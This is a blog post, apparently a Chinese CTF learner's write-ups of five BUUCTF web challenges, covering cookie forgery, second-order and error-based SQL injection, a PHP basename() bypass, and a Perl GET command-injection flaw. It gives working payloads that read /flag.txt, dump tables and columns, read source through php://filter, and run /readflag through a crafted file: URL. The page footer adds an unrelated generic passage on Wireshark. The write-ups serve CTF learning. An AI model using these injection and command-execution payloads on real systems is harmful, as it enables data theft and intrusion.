BUUCTF__web题解合集(十二)

前言

  • 冬天来了

题目

1、[BSidesCF 2019]Kookie

  • 虽然是很简单,但是有点难想。

  • 只需在请求头中加上cookie发包请求就行。

    cookie:username=admin
    

2、[CISCN2019 华北赛区 Day1 Web5]CyberPunk

  • 首先可以通过首页的源代码中发现提示,然后有PHP伪协议可以读取源代码。
    在这里插入图片描述

    ?file=php://filter/read=convert.base64-encode/resource=index.php
    
  • 可以得到所有的源代码,进行代码审计。 注意到两个部分。

  • 第一点就是在提交订单时的confirm.php,对输入的姓名电话地址几乎无过滤,虽然有一个黑名单,但没起到作用,匹配到黑名单后还会往下继续执行。

  • 第二点就是在修改订单信息的change.php,对于输入的地址有一个addslashes转义处理,这就导致输入的address变量在这里不可利用。

  • 但是在执行修改sql语句时,还是有将原来的地址取出放入sql语句。

    $address = addslashes($_POST["address"]);
    
    $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
    
  • 也就是有一个利用漏洞,因为在提交订单时没有过滤,在提交订单时将payload放入地址,在修改订单信息时随便输入一个新地址,但是旧地址也在sql语句中执行。可以利用报错注入。

  • 但是很重要一点,flag在哪,可以一步一步爆库爆表直到得到字段内容,没有flag。最终 flag 在flag.txt。通过load_file函数来读取文件内容。

  • payload

    1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
    
    1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
    
  • 一步一步来做的话,可能不算难,但有点麻烦。二次注入,不是什么新知识点,关键是代码审计知道利用点。

3、[RCTF2015]EasySQL

  • 登录注册修改密码,盲猜就是二次注入。

  • 在注册时,如果用户名中含双引号"或者注释符\,在修改密码时,会引发报错,可以发现,sql语句为双引号闭合,并且可能存在报错注入。同时可以猜测后端sql语句的形式为

    update users set password='xxxx' where username="xxxx" and pwd='xxxx'
    
  • 进一步尝试报错注入获取数据库名称。存在空格过滤,并且andor也被过滤,可以用&&||代替,空格则用括号分割sql语句来避免使用。

  • 注册时输入用户名为payload,在修改密码提交时触发报错。

    2"&&extractvalue(1,concat(0x7e,(select(database()))))#
    

在这里插入图片描述

  • 继续爆表,得到表 article、flag、users

    2"&&extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))))#            
    
  • 爆字段都一样,真正的flag在users表里,但字段名显示时由于有长度限制,所以没有显示完全,可以正序倒序一起来一下,也有用正则匹配输出的,确认 flag 所在字段名为real_flag_1s_here

    正序 
    2"&&extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users'))))#   
    
    倒序   
    2"&&extractvalue(1,concat(0x7e,reverse((select(group_concat(column_name))from(information_schema.columns)where(table_name='users')))))#
    
    正则           
    2"&&extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r'))))#
    
  • 开始直接输出全部的话,发现前面有很多干扰内容。并且分块截取的函数都被过滤了,所以只能用正则,最终得到flag。

    正序 
    2"&&extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))))#
    
    逆序
    2"&&extractvalue(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')))))#
    
  • 发现了注入点的话,后面就应该不难。

4、[Zer0pts2020]Can you guess it?

  • 首先源码给出了,flag的位置给出了,有一个好像是利用点
$secret = bin2hex(random_bytes(64));
if (isset($_POST['guess'])) {
  $guess = (string) $_POST['guess'];
  if (hash_equals($secret, $guess)) {
    $message = 'Congratulations! The flag is: ' . FLAG;
  } else {
    $message = 'Wrong.';
  }
}
  • $secret$guess变量字符串相等时,输出flag,但是$secret变量是生成的随机数,虽然之前做过伪随机数的破解,但这里并没有利用点,所以,基本不可能相等。
  • 看下面的一部分代码,会显示从当前url地址中获取最后一个文件名。当我们的url是/index.php/config.php时会触发前面的正则过滤。当我们的url是/index.php/config.php/index.php时,回显的是首页。说明url不能以config.php结尾,但是要读取它的话又必须让返回值为config.php
if (isset($_GET['source'])) {
  highlight_file(basename($_SERVER['PHP_SELF']));
  exit();
}
  • basename函数解析到ASCII码数值之外的字符时,会忽略它,官方文档介绍,ASCII值范围为0-255,但ASCII码并没有规定编号为128~255的字符,ASCII表范围为0-127,也就是我们传入128(%80)以上的数值,即可绕过正则

    index.php/config.php/%80?source
    
    basename()在文件名的开头丢弃非ASCII字符。
    
    basename() drops non-ASCII-chars at the beginning of a filename.
    
  • 也就是如下,因为%80被丢弃,basena me($_SERVER['PHP_SELF'])返回的将是config.php,同时没有以config.php结尾,绕过了前面的正则,成功得到flag。

  • 虽然在题目环境中的确成功了,但是单独拿出来没能得到结果,是不是理解错了什么。
    在这里插入图片描述

  • 就一点,关于basename()函数的这个特性。

5、[HITCON 2017]SSRFme

  • 首先前面的sandbox变量对应创建的路径已知

     /sandbox/md5("orange".'题目给的ip')
    
  • 然后是了解一下GET命令,在Linux中类似于web的get请求一个网页文件,能显示访问的文件。比如

    GET /etc/passwd
    

在这里插入图片描述

  • 于是,只需要给url赋值/就能看到根目录,同理去读根目录下的flag文件发现失败,原因是flag不在文件中,有一个readflag文件,应该是通过它来获取flag。

    ?url=/&filename=qqq
    
    url/sandbox/md5("orange".'题目给的ip')/qqq
    
  • 然后就是本题的知识点,perl脚本中GET命令执行漏洞

  • 写的太好了。。。感觉我再说都是废话。。。逻辑线就是GET命令会在底层调用open函数,而open函数又利用了perl脚本来实现,再因为open函数支持file协议,而perl在处理file协议时会path参数可控,所以存在命令执行的漏洞
    在这里插入图片描述

  • 所以,先创建一个文件名为执行命令的文件

    ?url=file:bash -c /readflag|&filename=bash -c /readflag|
    
  • 再次执行文件名存在而执行代码写入

    ?url=file:bash -c /readflag|&filename=b
    
  • 最后访问成功解题

    url/sandbox/md5("orange".'题目给的ip')/b
    
  • 还有另一种方法弹shell,没有vps就不复现了。有一说一,这题不是很懂执行的原因,就记GET命令可能存在代码执行漏洞了。。。

最后

  • 越来越怀疑自己学的啥
  • 欢迎各位指正交流。留言会在第一时间回复。
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
buuctfmisc是一个CTF比赛中的题目,涉及到网络分析工具Wireshark的使用。Wireshark是一款开源的网络协议分析工具,可以用于捕获和分析网络数据包。在buuctfmisc题目中,可能需要使用Wireshark来解析和分析给定的网络数据包,以获取关键信息或者解决问题。 具体的题解步骤可能因题目而异,但通常的解题思路如下: 1. 下载并安装Wireshark:首先需要从Wireshark官网下载并安装适合你操作系统的版本。 2. 打开Wireshark并开始捕获数据包:打开Wireshark后,选择合适的网络接口开始捕获数据包。可以通过点击"Capture"按钮或者使用快捷键Ctrl + E来开始捕获。 3. 分析捕获的数据包:Wireshark会将捕获到的数据包以列表形式展示出来。你可以通过点击每个数据包来查看其详细信息,包括源IP地址、目标IP地址、协议类型等。 4. 过滤数据包:如果题目要求只关注特定的数据包,你可以使用Wireshark提供的过滤功能来筛选出符合条件的数据包。过滤条件可以根据协议、源IP地址、目标IP地址等进行设置。 5. 提取关键信息:根据题目要求,你可能需要从数据包中提取关键信息。Wireshark提供了多种功能来帮助你提取数据,比如导出数据包、导出特定协议的数据等。 6. 分析数据包内容:根据题目要求,你可能需要进一步分析数据包的内容。Wireshark可以解析多种协议,你可以查看每个数据包的协议栈、协议字段等信息。 7. 解决问题或回答题目:根据你对数据包的分析和提取的关键信息,你可以解决问题或者回答题目。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值